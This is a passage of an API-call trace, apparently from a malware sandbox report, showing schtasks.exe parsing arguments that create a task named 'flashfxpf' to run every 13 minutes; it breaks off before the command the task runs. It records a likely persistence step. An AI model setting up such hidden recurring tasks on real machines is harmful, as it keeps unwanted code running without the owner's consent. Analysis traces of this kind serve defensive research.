_Buf2=0xff451b08, _Size=0x7) returned 0 [0164.687] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|?|") returned 3 [0164.687] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.687] lstrlenW (lpString="|?|") returned 3 [0164.687] lstrlenW (lpString="|tn|") returned 4 [0164.687] SetLastError (dwErrCode=0x490) [0164.687] lstrlenW (lpString="s") returned 1 [0164.687] lstrlenW (lpString="s") returned 1 [0164.687] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.687] lstrlenW (lpString="tn") returned 2 [0164.687] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.687] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|s|") returned 3 [0164.687] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.687] lstrlenW (lpString="|s|") returned 3 [0164.688] lstrlenW (lpString="|tn|") returned 4 [0164.688] SetLastError (dwErrCode=0x490) [0164.688] lstrlenW (lpString="u") returned 1 [0164.688] lstrlenW (lpString="u") returned 1 [0164.688] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.688] lstrlenW (lpString="tn") returned 2 [0164.688] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.688] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|u|") returned 3 [0164.688] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.688] lstrlenW (lpString="|u|") returned 3 [0164.688] lstrlenW (lpString="|tn|") returned 4 [0164.688] SetLastError (dwErrCode=0x490) [0164.688] lstrlenW (lpString="p") returned 1 [0164.688] lstrlenW (lpString="p") returned 1 [0164.688] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.688] lstrlenW (lpString="tn") returned 2 [0164.688] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.688] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|p|") returned 3 [0164.688] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.688] lstrlenW (lpString="|p|") returned 3 [0164.688] lstrlenW (lpString="|tn|") returned 4 [0164.688] SetLastError (dwErrCode=0x490) [0164.688] lstrlenW (lpString="ru") returned 2 [0164.689] lstrlenW (lpString="ru") returned 2 [0164.689] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.689] lstrlenW (lpString="tn") returned 2 [0164.689] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.689] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ru|") returned 4 [0164.689] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.689] lstrlenW (lpString="|ru|") returned 4 [0164.689] lstrlenW (lpString="|tn|") returned 4 [0164.689] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0164.689] SetLastError (dwErrCode=0x490) [0164.689] lstrlenW (lpString="rp") returned 2 [0164.689] lstrlenW (lpString="rp") returned 2 [0164.689] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.689] lstrlenW (lpString="tn") returned 2 [0164.689] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.689] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rp|") returned 4 [0164.689] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.689] lstrlenW (lpString="|rp|") returned 4 [0164.689] lstrlenW (lpString="|tn|") returned 4 [0164.689] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0164.689] SetLastError (dwErrCode=0x490) [0164.689] lstrlenW (lpString="sc") returned 2 [0164.690] lstrlenW (lpString="sc") returned 2 [0164.690] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.690] lstrlenW (lpString="tn") returned 2 [0164.690] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.690] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.690] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.690] lstrlenW (lpString="|sc|") returned 4 [0164.690] lstrlenW (lpString="|tn|") returned 4 [0164.690] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0164.690] SetLastError (dwErrCode=0x490) [0164.690] lstrlenW (lpString="mo") returned 2 [0164.690] lstrlenW (lpString="mo") returned 2 [0164.690] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.690] lstrlenW (lpString="tn") returned 2 [0164.690] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.690] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.690] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.690] lstrlenW (lpString="|mo|") returned 4 [0164.690] lstrlenW (lpString="|tn|") returned 4 [0164.690] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0164.690] SetLastError (dwErrCode=0x490) [0164.690] lstrlenW (lpString="d") returned 1 [0164.690] lstrlenW (lpString="d") returned 1 [0164.690] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.690] lstrlenW (lpString="tn") returned 2 [0164.691] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.691] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|d|") returned 3 [0164.691] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.691] lstrlenW (lpString="|d|") returned 3 [0164.691] lstrlenW (lpString="|tn|") returned 4 [0164.691] SetLastError (dwErrCode=0x490) [0164.691] lstrlenW (lpString="m") returned 1 [0164.691] lstrlenW (lpString="m") returned 1 [0164.691] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.691] lstrlenW (lpString="tn") returned 2 [0164.691] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.691] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|m|") returned 3 [0164.691] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.691] lstrlenW (lpString="|m|") returned 3 [0164.691] lstrlenW (lpString="|tn|") returned 4 [0164.691] SetLastError (dwErrCode=0x490) [0164.691] lstrlenW (lpString="i") returned 1 [0164.691] lstrlenW (lpString="i") returned 1 [0164.691] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.691] lstrlenW (lpString="tn") returned 2 [0164.691] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.691] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|i|") returned 3 [0164.691] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.691] lstrlenW (lpString="|i|") returned 3 [0164.692] lstrlenW (lpString="|tn|") returned 4 [0164.692] SetLastError (dwErrCode=0x490) [0164.692] lstrlenW (lpString="tn") returned 2 [0164.692] lstrlenW (lpString="tn") returned 2 [0164.692] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.692] lstrlenW (lpString="tn") returned 2 [0164.692] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.692] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.692] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.692] lstrlenW (lpString="|tn|") returned 4 [0164.692] lstrlenW (lpString="|tn|") returned 4 [0164.692] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0164.692] SetLastError (dwErrCode=0x0) [0164.692] SetLastError (dwErrCode=0x0) [0164.692] lstrlenW (lpString="flashfxpf") returned 9 [0164.692] lstrlenW (lpString="-/") returned 2 [0164.692] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0164.692] SetLastError (dwErrCode=0x490) [0164.692] SetLastError (dwErrCode=0x490) [0164.692] SetLastError (dwErrCode=0x0) [0164.692] lstrlenW (lpString="flashfxpf") returned 9 [0164.692] StrChrIW (lpStart="flashfxpf", wMatch=0x3a) returned 0x0 [0164.692] SetLastError (dwErrCode=0x490) [0164.692] SetLastError (dwErrCode=0x0) [0164.692] lstrlenW (lpString="flashfxpf") returned 9 [0164.692] SetLastError (dwErrCode=0x0) [0164.692] SetLastError (dwErrCode=0x0) [0164.693] lstrlenW (lpString="/sc") returned 3 [0164.693] lstrlenW (lpString="-/") returned 2 [0164.693] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.693] lstrlenW (lpString="create") returned 6 [0164.693] lstrlenW (lpString="create") returned 6 [0164.693] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.693] lstrlenW (lpString="sc") returned 2 [0164.693] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.693] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.693] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.693] lstrlenW (lpString="|create|") returned 8 [0164.693] lstrlenW (lpString="|sc|") returned 4 [0164.693] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0164.693] SetLastError (dwErrCode=0x490) [0164.693] lstrlenW (lpString="?") returned 1 [0164.693] lstrlenW (lpString="?") returned 1 [0164.693] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.693] lstrlenW (lpString="sc") returned 2 [0164.693] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.693] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|?|") returned 3 [0164.693] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.693] lstrlenW (lpString="|?|") returned 3 [0164.693] lstrlenW (lpString="|sc|") returned 4 [0164.693] SetLastError (dwErrCode=0x490) [0164.693] lstrlenW (lpString="s") returned 1 [0164.694] lstrlenW (lpString="s") returned 1 [0164.694] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.694] lstrlenW (lpString="sc") returned 2 [0164.694] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.694] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|s|") returned 3 [0164.694] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.694] lstrlenW (lpString="|s|") returned 3 [0164.694] lstrlenW (lpString="|sc|") returned 4 [0164.694] SetLastError (dwErrCode=0x490) [0164.694] lstrlenW (lpString="u") returned 1 [0164.694] lstrlenW (lpString="u") returned 1 [0164.694] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.694] lstrlenW (lpString="sc") returned 2 [0164.694] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.694] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|u|") returned 3 [0164.694] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.694] lstrlenW (lpString="|u|") returned 3 [0164.694] lstrlenW (lpString="|sc|") returned 4 [0164.694] SetLastError (dwErrCode=0x490) [0164.694] lstrlenW (lpString="p") returned 1 [0164.694] lstrlenW (lpString="p") returned 1 [0164.694] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.694] lstrlenW (lpString="sc") returned 2 [0164.694] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.695] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|p|") returned 3 [0164.695] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.695] lstrlenW (lpString="|p|") returned 3 [0164.695] lstrlenW (lpString="|sc|") returned 4 [0164.695] SetLastError (dwErrCode=0x490) [0164.695] lstrlenW (lpString="ru") returned 2 [0164.695] lstrlenW (lpString="ru") returned 2 [0164.695] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.695] lstrlenW (lpString="sc") returned 2 [0164.695] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.695] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ru|") returned 4 [0164.695] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.695] lstrlenW (lpString="|ru|") returned 4 [0164.695] lstrlenW (lpString="|sc|") returned 4 [0164.695] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0164.695] SetLastError (dwErrCode=0x490) [0164.695] lstrlenW (lpString="rp") returned 2 [0164.695] lstrlenW (lpString="rp") returned 2 [0164.695] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.695] lstrlenW (lpString="sc") returned 2 [0164.695] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.695] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rp|") returned 4 [0164.695] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.695] lstrlenW (lpString="|rp|") returned 4 [0164.696] lstrlenW (lpString="|sc|") returned 4 [0164.696] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0164.696] SetLastError (dwErrCode=0x490) [0164.696] lstrlenW (lpString="sc") returned 2 [0164.696] lstrlenW (lpString="sc") returned 2 [0164.696] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.696] lstrlenW (lpString="sc") returned 2 [0164.696] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.696] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.696] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.696] lstrlenW (lpString="|sc|") returned 4 [0164.696] lstrlenW (lpString="|sc|") returned 4 [0164.696] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0164.696] SetLastError (dwErrCode=0x0) [0164.696] SetLastError (dwErrCode=0x0) [0164.696] lstrlenW (lpString="MINUTE") returned 6 [0164.696] lstrlenW (lpString="-/") returned 2 [0164.696] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0164.696] SetLastError (dwErrCode=0x490) [0164.696] SetLastError (dwErrCode=0x490) [0164.696] SetLastError (dwErrCode=0x0) [0164.696] lstrlenW (lpString="MINUTE") returned 6 [0164.696] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0164.696] SetLastError (dwErrCode=0x490) [0164.696] SetLastError (dwErrCode=0x0) [0164.696] GetProcessHeap () returned 0x220000 [0164.696] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d4c0 [0164.697] _memicmp (_Buf1=0x23d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.697] lstrlenW (lpString="MINUTE") returned 6 [0164.697] GetProcessHeap () returned 0x220000 [0164.697] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d580 [0164.697] lstrlenW (lpString="MINUTE") returned 6 [0164.697] lstrlenW (lpString=" \x09") returned 2 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0164.697] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0164.697] GetLastError () returned 0x0 [0164.697] lstrlenW (lpString="MINUTE") returned 6 [0164.697] lstrlenW (lpString="MINUTE") returned 6 [0164.697] SetLastError (dwErrCode=0x0) [0164.697] SetLastError (dwErrCode=0x0) [0164.697] lstrlenW (lpString="/mo") returned 3 [0164.697] lstrlenW (lpString="-/") returned 2 [0164.697] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.697] lstrlenW (lpString="create") returned 6 [0164.697] lstrlenW (lpString="create") returned 6 [0164.697] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.697] lstrlenW (lpString="mo") returned 2 [0164.697] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.698] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.698] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.698] lstrlenW (lpString="|create|") returned 8 [0164.698] lstrlenW (lpString="|mo|") returned 4 [0164.698] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0164.698] SetLastError (dwErrCode=0x490) [0164.698] lstrlenW (lpString="?") returned 1 [0164.698] lstrlenW (lpString="?") returned 1 [0164.698] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.698] lstrlenW (lpString="mo") returned 2 [0164.698] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.698] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|?|") returned 3 [0164.698] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.698] lstrlenW (lpString="|?|") returned 3 [0164.698] lstrlenW (lpString="|mo|") returned 4 [0164.698] SetLastError (dwErrCode=0x490) [0164.698] lstrlenW (lpString="s") returned 1 [0164.698] lstrlenW (lpString="s") returned 1 [0164.698] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.698] lstrlenW (lpString="mo") returned 2 [0164.698] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.698] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|s|") returned 3 [0164.698] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.698] lstrlenW (lpString="|s|") returned 3 [0164.699] lstrlenW (lpString="|mo|") returned 4 [0164.699] SetLastError (dwErrCode=0x490) [0164.699] lstrlenW (lpString="u") returned 1 [0164.699] lstrlenW (lpString="u") returned 1 [0164.699] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.699] lstrlenW (lpString="mo") returned 2 [0164.699] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.699] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|u|") returned 3 [0164.699] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.699] lstrlenW (lpString="|u|") returned 3 [0164.699] lstrlenW (lpString="|mo|") returned 4 [0164.699] SetLastError (dwErrCode=0x490) [0164.699] lstrlenW (lpString="p") returned 1 [0164.699] lstrlenW (lpString="p") returned 1 [0164.699] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.699] lstrlenW (lpString="mo") returned 2 [0164.699] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.699] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|p|") returned 3 [0164.699] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.699] lstrlenW (lpString="|p|") returned 3 [0164.699] lstrlenW (lpString="|mo|") returned 4 [0164.699] SetLastError (dwErrCode=0x490) [0164.699] lstrlenW (lpString="ru") returned 2 [0164.699] lstrlenW (lpString="ru") returned 2 [0164.699] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.700] lstrlenW (lpString="mo") returned 2 [0164.700] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.700] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ru|") returned 4 [0164.700] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.700] lstrlenW (lpString="|ru|") returned 4 [0164.700] lstrlenW (lpString="|mo|") returned 4 [0164.700] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0164.700] SetLastError (dwErrCode=0x490) [0164.700] lstrlenW (lpString="rp") returned 2 [0164.700] lstrlenW (lpString="rp") returned 2 [0164.700] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.700] lstrlenW (lpString="mo") returned 2 [0164.700] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.700] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rp|") returned 4 [0164.700] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.700] lstrlenW (lpString="|rp|") returned 4 [0164.700] lstrlenW (lpString="|mo|") returned 4 [0164.700] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0164.700] SetLastError (dwErrCode=0x490) [0164.700] lstrlenW (lpString="sc") returned 2 [0164.700] lstrlenW (lpString="sc") returned 2 [0164.700] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.700] lstrlenW (lpString="mo") returned 2 [0164.701] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.701] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.701] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.701] lstrlenW (lpString="|sc|") returned 4 [0164.701] lstrlenW (lpString="|mo|") returned 4 [0164.701] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0164.701] SetLastError (dwErrCode=0x490) [0164.701] lstrlenW (lpString="mo") returned 2 [0164.701] lstrlenW (lpString="mo") returned 2 [0164.701] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.701] lstrlenW (lpString="mo") returned 2 [0164.701] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.701] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.701] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.701] lstrlenW (lpString="|mo|") returned 4 [0164.701] lstrlenW (lpString="|mo|") returned 4 [0164.701] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0164.701] SetLastError (dwErrCode=0x0) [0164.701] SetLastError (dwErrCode=0x0) [0164.701] lstrlenW (lpString="13") returned 2 [0164.701] lstrlenW (lpString="-/") returned 2 [0164.701] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0164.701] SetLastError (dwErrCode=0x490) [0164.701] SetLastError (dwErrCode=0x490) [0164.701] SetLastError (dwErrCode=0x0) [0164.702] lstrlenW (lpString="13") returned 2 [0164.702] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0164.702] SetLastError (dwErrCode=0x490) [0164.702] SetLastError (dwErrCode=0x0) [0164.702] _memicmp (_Buf1=0x23d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.702] lstrlenW (lpString="13") returned 2 [0164.702] lstrlenW (lpString="13") returned 2 [0164.702] lstrlenW (lpString=" \x09") returned 2 [0164.702] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0164.702] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0164.702] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0164.702] GetLastError () returned 0x0 [0164.702] lstrlenW (lpString="13") returned 2 [0164.702] lstrlenW (lpString="13") returned 2 [0164.702] GetProcessHeap () returned 0x220000 [0164.702] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23b990 [0164.702] SetLastError (dwErrCode=0x0) [0164.702] SetLastError (dwErrCode=0x0) [0164.702] lstrlenW (lpString="/tr") returned 3 [0164.702] lstrlenW (lpString="-/") returned 2 [0164.702] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.702] lstrlenW (lpString="create") returned 6 [0164.702] lstrlenW (lpString="create") returned 6 [0164.702] _memicmp 